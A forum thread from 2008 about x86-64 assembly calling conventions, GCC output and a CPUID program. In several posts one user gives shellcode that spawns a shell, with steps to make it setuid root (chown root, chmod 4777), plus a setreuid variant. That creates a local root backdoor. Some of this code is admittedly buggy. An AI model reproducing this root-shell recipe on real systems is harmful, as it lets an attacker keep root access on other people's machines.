| Not a member yet? Register for FREE! |
| ||||||
| Computers & Gadgets A great place to discuss computers, gadgets and the internet. PC, laptop, firefox, ie, linux, mac, ipods, digital cameras and more. |
| JOIN TODAY! It's FREE . . . Discuss topics and issues that matter to you!
8,000 active members posting their views, facts and opinions on issues and topics that are important to people of today. Join a Discussion or better yet and Start a Discussion of your own! |
![]() |
| | Thread Tools |
| | #1 (permalink) |
| Eligible for a custom title Join Date: Jun 2007
Posts: 247
| In x86 mode you could pass as many arguments as you wanted to a function just by pushing the stack. Eg Code: movl $/%, (%esp) #first argument movl $/%, 4(%esp) #second argument movl $/%, 8(%esp) #third argument #... call printf Code: movq $/%, %rdi #first argument movq $/%, %rsi #second argument movq $/%, %rdx #third argument #... movq $/%, %r9 #6th argument movq $0, %rax #for some reason required for some calls, not an argument. As far as I can tell it doesn't do anything but waste a CPU cycle. call printf Code: .section .data format: .string "%i,%i,%i,%i,%i,%i,%i,%i,%i,%i,%i,%i,%i" .text .global main .type main, @function main: pushq %rbp movq %rsp, %rbp subq $56, %rsp #56 increases by 8bytes to extend the stack, eg to pass 15 arguments the stack would have to grow to 64bytes. #It would be more efficient to pass by 32bits, or even 8bits in these cases, leaving the upper 32bits as 0's but this just illustrates the concept incase it were necessary to deal with 64bit long data. mov $format, %rdi mov $1, %rsi mov $2, %rdx mov $3, %rcx mov $4, %r8d mov $5, %r9d movq $6, (%rsp) movq $7, 8(%rsp) movq $8, 16(%rsp) movq $9, 24(%rsp) movq $10, 32(%rsp) movq $11, 40(%rsp) movq $12, 48(%rsp) movq $13, 56(%rsp) movl $0, %eax call printf movl $0, %eax leave ret Granted this might be specific to printf(); you can create your own calling conventions for your own functions but printf() I'm sure is extremely standardized so most external function calls should adhere similarly. This kind of information is hard to come by. Like I remember doing opengl in 32bit assembly and had to hunt around in glut's source code to find the hex values for mnemonic arguments (like passing GLUT_RGBA to glutInitDisplayMode etc). Last edited by 1veedo : 06-28-2008 at 10:39 AM. Reason: title was truncated |
| | |
| | #2 (permalink) |
| Reliable Music I Got Left To Join Date: May 2007
Posts: 1,012
| I think you'll be lucky to get a response on this here. Try ubuntuforums or a hard-core programming forum maybe. As for assembly programming - I am curious ... I am guessing you had to study it as part of you programming studies. If so, have you ever found it useful in real life? |
|
___________________________ Life is what happens to you while you're busy making other plans. - John Lennon | |
| | |
| | #3 (permalink) | |
| Eligible for a custom title Join Date: Jun 2007
Posts: 247
| Yeah I kind of figured that but I don't belong to any programming forums anymore. It's hard to find much on assembly, especially 64bit. Most tutorials only go so far and don't cover very much. For example I could not figure out where command line arguments were passed in 64bit (where in 32bit it's right on the stack...where it should be and always has been lol). And it didn't follow the convention I talked about above, either. Turns out rsi is a pointer to a completely different stack set up identically to the main stack you used to get in 32bit. I pretty much had to write a program that would output the value of every registry upon startup to figure this out. Quote:
I don't see assembly being very useful for many things but it is fun. I depends on what you consider useful though (it would be more useful for system programming than it would for a largescale gui). I see many people saying that assembly helps you with higher level languages because it teaches you the fundamentals of a computer. It's also useful for things like this: Code: .section .data
.global main
.type main, @function
main:
jmp getShell
gotShell:
movq (%rsp), %rdi #shell is on the top of our stack
subq %rax, %rax
movl %eax, 7(%edi)
movl %edi, 8(%edi)
movl %eax, 12(%edi)
leal 8(%edi), %esi
leal 12(%edi), %edx
call execve #something like execve("/bin/sh", *"/bin/sh", *NULL);
getShell:
call gotShell
shell: .ascii "/bin/shAAAAABBBB" Code: as -g shell1.s -o shell1.o && g++ she1.o -o shell1 Code: chown root ./shell1 && chmod 4777 shell1 . This only works if you have a 64bit CPU. Also permissions can be 6777 and 7777 etc.edit -- Here's another one. Code: .section .data
.global main
.type main, @function
main:
jmp getShell
gotShell:
movq (%rsp), %rdi #shell is on the top of our stack
subq %rax, %rax
movl %eax, 9(%rdi)
movl %edi, 10(%rdi)
movl %eax, 14(%rdi)
leal 10(%edi), %esi
leal 14(%edi), %edx
call execve #something like execve("/bin/sh", *"/bin/sh", *NULL);
getShell:
call gotShell
shell: .ascii "/bin/bashAAAAABBBB" Last edited by 1veedo : 06-29-2008 at 05:57 PM. | |
| | |
| | #4 (permalink) |
| Reliable Music I Got Left To Join Date: May 2007
Posts: 1,012
| The assembly code they tried to force down my throat at Uni was programming in straight binary. Theory being as you said, it would help you understand concepts of computing. I found this to be ludicrous as I already had no problem with concepts, and had a major showdown with the staff about it (I got the impression some of the staff agreed with me but were in no position to say so openly). I ended up changing course structure on my degree to avoid it as the only form of protest I had available. |
|
___________________________ Life is what happens to you while you're busy making other plans. - John Lennon | |
| | |
| | #5 (permalink) |
| Eligible for a custom title Join Date: Jun 2007
Posts: 247
| Yeah a lot of people don't like assembly. Btw the second program doesn't work I don't really know why lol I tried to fix it and reedit my post. It launches bash you just dont get a root terminal. |
| | |
| | #6 (permalink) |
| Eligible for a custom title Join Date: Jun 2007
Posts: 247
| There apparently it needs to be told to be root. Code: .section .data
.global main
.type main, @function
main:
jmp getShell
gotShell:
subq %rsi, %rsi
subq %rdi, %rdi
call setreuid
movq (%rsp), %rdi
subq %rax, %rax
movl %eax, 9(%rdi)
movl %edi, 10(%rdi)
movl %eax, 14(%rdi)
leal 10(%edi), %esi
leal 14(%edi), %edx
call execve #something like execve("/bin/bash", *"/bin/bash", *NULL);
getShell:
call gotShell
shell: .ascii "/bin/bashAAAAABBBB" %rdi, %rsi, %rdx, %rcx, %r8, %r9, then the stack. I can see how this is huge speed improvement though because this is something that happens a lot. Anyway I'm not going to say that any language is better than the next one. I do python too, as well as C++ and Java. I'm thinking I could probably find a good job knowing assembly though. Last edited by 1veedo : 06-29-2008 at 06:15 PM. |
| | |
| | #7 (permalink) |
| Super Moderator Join Date: May 2007 Location: Indiana, USA
Posts: 1,000
| Hmmm ... I haven't messed with 64 bit assembly at all, only 32 bit. Two compilers may use different passing conventions AFAIK... I thought gcc just pushed the variables on the stack, in reverse order. But this is defined by the compilers. All I would know would be to compile a skeleton of a program in c, and look at the generated assembly. With gcc it's the -S flag. Even better would be to compile and look at the assembly for the functions being called. Or look at the compiler's documentation, that was used to compile the libs you want to use... for example, in 32 bit: Code:
// c code
int test2(int i1, int i2, int i3, int i4, int i5, int i6, int i7, int i8 ){
return i1 + i2 + i3 + i4 + i5 + i6 + i7 + i8 ;
}
// compiles to assembly
_test2:
pushl %ebp
movl %esp, %ebp
movl 12(%ebp), %eax
addl 8(%ebp), %eax
addl 16(%ebp), %eax
addl 20(%ebp), %eax
addl 24(%ebp), %eax
addl 28(%ebp), %eax
addl 32(%ebp), %eax
addl 36(%ebp), %eax
popl %ebp
ret ![]() |
| | |
| | #8 (permalink) | |||
| Eligible for a custom title Join Date: Jun 2007
Posts: 247
| Quote:
Your c compiles neater than mine. Even when I was using 32bit compiled C had a lot of baggage. What distro are you using? I get (with gcc version 4.2.3, ubuntu), Code: .file "test.c" .text .globl test2 .type test2, @function test2: .LFB2: pushq %rbp .LCFI0: movq %rsp, %rbp .LCFI1: movl %edi, -4(%rbp) movl %esi, -8(%rbp) movl %edx, -12(%rbp) movl %ecx, -16(%rbp) movl %r8d, -20(%rbp) movl %r9d, -24(%rbp) movl -8(%rbp), %eax addl -4(%rbp), %eax addl -12(%rbp), %eax addl -16(%rbp), %eax addl -20(%rbp), %eax addl -24(%rbp), %eax addl 16(%rbp), %eax addl 24(%rbp), %eax leave ret .LFE2: .size test2, .-test2 .section .eh_frame,"a",@progbits .Lframe1: .long .LECIE1-.LSCIE1 .LSCIE1: .long 0x0 .byte 0x1 .string "zR" .uleb128 0x1 .sleb128 -8 .byte 0x10 .uleb128 0x1 .byte 0x3 .byte 0xc .uleb128 0x7 .uleb128 0x8 .byte 0x90 .uleb128 0x1 .align 8 .LECIE1: .LSFDE1: .long .LEFDE1-.LASFDE1 .LASFDE1: .long .LASFDE1-.Lframe1 .long .LFB2 .long .LFE2-.LFB2 .uleb128 0x0 .byte 0x4 .long .LCFI0-.LFB2 .byte 0xe .uleb128 0x10 .byte 0x86 .uleb128 0x2 .byte 0x4 .long .LCFI1-.LCFI0 .byte 0xd .uleb128 0x6 .align 8 .LEFDE1: .ident "GCC: (GNU) 4.2.3 (Ubuntu 4.2.3-2ubuntu7)" .section .note.GNU-stack,"",@progbits Code: movl %edi, -4(%rbp) movl %esi, -8(%rbp) movl %edx, -12(%rbp) movl %ecx, -16(%rbp) movl %r8d, -20(%rbp) movl %r9d, -24(%rbp) movl -8(%rbp), %eax addl -4(%rbp), %eax addl -12(%rbp), %eax addl -16(%rbp), %eax addl -20(%rbp), %eax addl -24(%rbp), %eax addl 16(%rbp), %eax addl 24(%rbp), %eax Quote:
I've been reading http://www.x86-64.org/documentation/abi-0.98.pdf more and have found a couple lines that make me think that you put arguments first onto the 6 registers then the stack. Quote:
Anyway, sense I've been spamming assembly here's a little CPUID program I wrote (I also decided to add individual programs to the wikipedia article). You could probably midify this easily to run on 32bit sense cpuid deals directly with traditional, 32bit registers. Code: .section .data s0: .string "Largest Standard Function Number Supported: %i\n" s1: .string "Vendor ID: %s\n" s3: .string "Processor serial number: %.4hX-%.4hX-%.4hX-%.4hX-%.4hX-%.4hX\n" s4: .string "Processor Brand String: %s\n" s5: .string "L2 Cache: %iMB\n" .text .global main .type main, @function main: pushq %rbp movq %rsp, %rbp subl %eax, %eax #%eax=0 (Vender ID) cpuid subq $8, %rsp movl %ebx, (%rsp) movl %edx, 4(%rsp) movl %ecx, 8(%rsp) movl %eax, %esi movl $s0, %edi subl %eax, %eax call printf movq %rsp, %rsi movq $s1, %rdi subl %eax, %eax call printf movl $1, %eax #%eax=1/3 (Serial ID) cpuid movl %eax, (%rsp) movq 2(%rsp), %rbx movw %bx, (%rsp) movw %ax, 2(%rsp) movl $3, %eax cpuid movl %edx, 4(%rsp) movq 6(%rsp), %rax movw %ax, 4(%rsp) movw %dx, 6(%rsp) movl %ecx, 8(%rsp) movl $s3, %edi movw (%rsp), %si movw 2(%rsp), %dx movw 4(%rsp), %cx movw 6(%rsp), %r8w movw 8(%rsp), %r8w movw 10(%rsp), %r9w movw %r9w, (%rsp) subl %eax, %eax call printf subq $36, %rsp movl $0x80000002, %eax #%eax=0x80000002/3/4 (Brand String) cpuid movl %eax, (%rsp) movl %ebx, 4(%rsp) movl %ecx, 8(%rsp) movl %edx, 12(%rsp) addq $16, %rsp movl $0x80000003, %eax cpuid movl %eax, (%rsp) movl %ebx, 4(%rsp) movl %ecx, 8(%rsp) movl %edx, 12(%rsp) addq $16, %rsp movl $0x80000004, %eax cpuid movl %eax, (%rsp) movl %ebx, 4(%rsp) movl %ecx, 8(%rsp) movl %edx, 12(%rsp) subq $32, %rsp movl $s4, %edi movq %rsp, %rsi subl %eax, %eax call printf movl $0x80000006, %eax #%eax=0x80000006 (L2 Cache) cpuid subl %edx, %edx movq %rcx, (%rsp) #most significant part of %(rsp) corrupts the next move movl 2(%rsp), %eax movl $1024, %ecx divl %ecx movl $s5, %edi movl %eax, %esi subl %eax, %eax call printf subl %eax, %eax movq %rbp, %rsp popq %rbp ret | |||
| | |
| | #9 (permalink) | ||||
| Super Moderator Join Date: May 2007 Location: Indiana, USA
Posts: 1,000
| Quote:
![]() Code: // c code
#include <stdio.h>
long test2(long i1, long i2, long i3, long i4, long i5, long i6, long i7, long i8 ){
return i1 + i2 + i3 + i4 + i5 + i6 + i7 + i8 ;
}
int main() {
long ret = test2( 1, 2, 3, 4, 5, 6, 7, 8 );
exit(ret);
}
// compiled with gcc test.c -S
.file "test.c"
.text
.globl _test2
.def _test2; .scl 2; .type 32; .endef
_test2:
pushl %ebp
movl %esp, %ebp
movl 12(%ebp), %eax
addl 8(%ebp), %eax
addl 16(%ebp), %eax
addl 20(%ebp), %eax
addl 24(%ebp), %eax
addl 28(%ebp), %eax
addl 32(%ebp), %eax
addl 36(%ebp), %eax
popl %ebp
ret
.def ___main; .scl 2; .type 32; .endef
.globl _main
.def _main; .scl 2; .type 32; .endef
_main:
pushl %ebp
movl %esp, %ebp
subl $40, %esp
andl $-16, %esp
movl $0, %eax
addl $15, %eax
addl $15, %eax
shrl $4, %eax
sall $4, %eax
movl %eax, -8(%ebp)
movl -8(%ebp), %eax
call __alloca
call ___main
movl $8, 28(%esp)
movl $7, 24(%esp)
movl $6, 20(%esp)
movl $5, 16(%esp)
movl $4, 12(%esp)
movl $3, 8(%esp)
movl $2, 4(%esp)
movl $1, (%esp)
call _test2
movl %eax, -4(%ebp)
movl -4(%ebp), %eax
movl %eax, (%esp)
call _exit
.def _exit; .scl 3; .type 32; .endef Although, I'm not sure why it's reordering how the parameters are accessed ... address offsets are 12, 8, 16, .... I suppose x + y + z translates to move y into eax, then add x. Then add z. Weird ... ![]() Quote:
Quote:
I always thought that a lib had to be compiled with the same type of compiler, or same major version number or that it would break. Quote:
On Gas, I found a good book at my library (My library has a better tech section than Barnes and Noble): Wrox::Professional Assembly Language:Book Information and Code Download This book is also availble online (but only 32 bit) Art of Assembly Language Programming and HLA by Randall Hyde I've just studied assembly out of curiosity ... self taught as well. For one project, I wanted to writing a new language (since most the existing ones have little things that seem silly me) but the more I though about it, it just ended up turning into something like Lisp, with tab-indention instead of parentheses. ![]() | ||||
| | |
| | #10 (permalink) | |
| Stirrer Of Shit | Quote:
| |
| Eric "For whoever habitually suppresses the truth in the interests of tact will produce a deformity from the womb of his thought." -Sir Basil H. Liddel-Hart "How do you tell a Communist? Well, it's someone who reads Marx and Lenin. And how do you tell an anti-Communist? It's someone who understands Marx and Lenin."—Ronald Reagan http://self-composed.com | ||
| | |
| | #11 (permalink) |
| Reliable Music I Got Left To Join Date: May 2007
Posts: 1,012
| Sounds about right. It's not that it's impossible to find a way to use it, just that it seemed to me a specialty subject and shouldn't be a required component in a general university course on computing. It seemed a big time-waster and there was only limited time available in the course, so including it meant leaving out other far more useful things. Mostly the course was flexible, with only relatively few required components, so it made little sense to me to make that one particular thing mandatory. I don't think many people would find it to be something they need in their professional life. Programming (using Java) was already a major mandatory component, which I had no complaint about at all. |
|
___________________________ Life is what happens to you while you're busy making other plans. - John Lennon | |
| | |